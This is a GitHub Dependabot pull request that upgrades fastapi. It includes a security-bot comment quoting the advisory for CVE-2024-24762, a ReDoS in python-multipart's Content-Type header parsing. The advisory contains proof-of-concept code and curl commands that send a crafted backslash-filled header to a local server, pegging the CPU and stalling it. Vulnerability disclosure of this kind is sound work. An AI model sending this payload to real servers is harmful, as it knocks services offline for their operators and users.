Bump fastapi from 0.65.2 to 0.109.1 #126
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Bumps [fastapi](https://github.com/tiangolo/fastapi) from 0.65.2 to 0.109.1. - [Release notes](https://github.com/tiangolo/fastapi/releases) - [Commits](fastapi/fastapi@0.65.2...0.109.1) --- updated-dependencies: - dependency-name: fastapi dependency-type: direct:production ... Signed-off-by: dependabot[bot] <support@github.com>
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| "markers": "python_version >= '3.5'", | ||
| "version": "==1.2.0" | ||
| "markers": "python_version >= '3.7'", | ||
| "version": "==1.3.1" | ||
| }, | ||
| "starlette": { |
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❗Cycode: Security vulnerability found in newly introduced dependency.
| Severity | High |
| Issue | python-multipart vulnerable to Content-Type Header ReDoS: CVE-2024-24762 |
| Ecosystem | PyPI |
| Dependency | starlette |
| Dependency Paths | `` |
| Direct Dependency | No |
| Development Dependency | No |
| Upgrade | 0.36.2 |
Summary
When using form data, python-multipart uses a Regular Expression to parse the HTTP Content-Type header, including options.
An attacker could send a custom-made Content-Type option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests.
This can create a ReDoS (Regular expression Denial of Service): https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS
This only applies when the app uses form data, parsed with python-multipart.
Details
A regular HTTP Content-Type header could look like:
Content-Type: text/html; charset=utf-8
python-multipart parses the option with this RegEx: https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74
A custom option could be made and sent to the server to break it with:
Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
PoC
Create a simple WSGI application, that just parses the Content-Type, and run it with python main.py:
# main.py
from wsgiref.simple_server import make_server
from wsgiref.validate import validator
from multipart.multipart import parse_options_header
def simple_app(environ, start_response):
_, _ = parse_options_header(environ["CONTENT_TYPE"])
start_response("200 OK", [("Content-type", "text/plain")])
return [b"Ok"]
httpd = make_server("", 8123, validator(simple_app))
print("Serving on port 8123...")
httpd.serve_forever()Then send the attacking request with:
$ curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8123/'Impact
It's a ReDoS, (Regular expression Denial of Service), it only applies to those reading form data. This way it also affects other libraries using Starlette, like FastAPI.
Original Report
This was originally reported to FastAPI as an email to security@tiangolo.com, sent via https://huntr.com/, the original reporter is Marcello, https://github.com/byt3bl33d3r
Original report to FastAPI
Hey Tiangolo!
My name's Marcello and I work on the ProtectAI/Huntr Threat Research team, a few months ago we got a report (from @nicecatch2000) of a ReDoS affecting another very popular Python web framework. After some internal research, I found that FastAPI is vulnerable to the same ReDoS under certain conditions (only when it parses Form data not JSON).
Here are the details: I'm using the latest version of FastAPI (0.109.0) and the following code:
from typing import Annotated
from fastapi.responses import HTMLResponse
from fastapi import FastAPI,Form
from pydantic import BaseModel
class Item(BaseModel):
username: str
app = FastAPI()
@app.get("/", response_class=HTMLResponse)
async def index():
return HTMLResponse("Test", status_code=200)
@app.post("/submit/")
async def submit(username: Annotated[str, Form()]):
return {"username": username}
@app.post("/submit_json/")
async def submit_json(item: Item):
return {"username": item.username}I'm running the above with uvicorn with the following command:
uvicorn server:appThen run the following cUrl command:
curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/submit/'
You'll see the server locks up, is unable to serve anymore requests and one CPU core is pegged to 100%
You can even start uvicorn with multiple workers with the --workers 4 argument and as long as you send (workers + 1) requests you'll completely DoS the FastApi server.
If you try submitting Json to the /submit_json endpoint with the malicious Content-Type header you'll see it isn't vulnerable. So this only affects FastAPI when it parses Form data.
Cheers
Impact
An attacker is able to cause a DoS on a FastApi server via a malicious Content-Type header if it parses Form data.
Occurrences
Would you like to exclude this security vulnerability from your status checks?
Tell us what to do with one of the following hashtags:
| Tag | Short Description |
|---|---|
| #cycode_ignore_manifest_here | Applies to this manifest in this request only |
Bumps fastapi from 0.65.2 to 0.109.1.
Release notes
Sourced from fastapi's releases.
... (truncated)
Commits
7633d15🔖 Release version 0.109.1a4de147📝 Update release notes9d34ad0Merge pull request from GHSA-qf9m-vfgh-m389ebf9723📝 Update release notes8590d0c👥 Update FastAPI People (#11074)063d7ff📝 Update release notes3c81e62🌐 Add Spanish translation fordocs/es/docs/external-links.md(#10933)6c4a143📝 Update release notesd254e2f🌐 Update Korean translation fordocs/ko/docs/tutorial/first-steps.md, `docs...6f6e786📝 Update release notesYou can trigger a rebase of this PR by commenting
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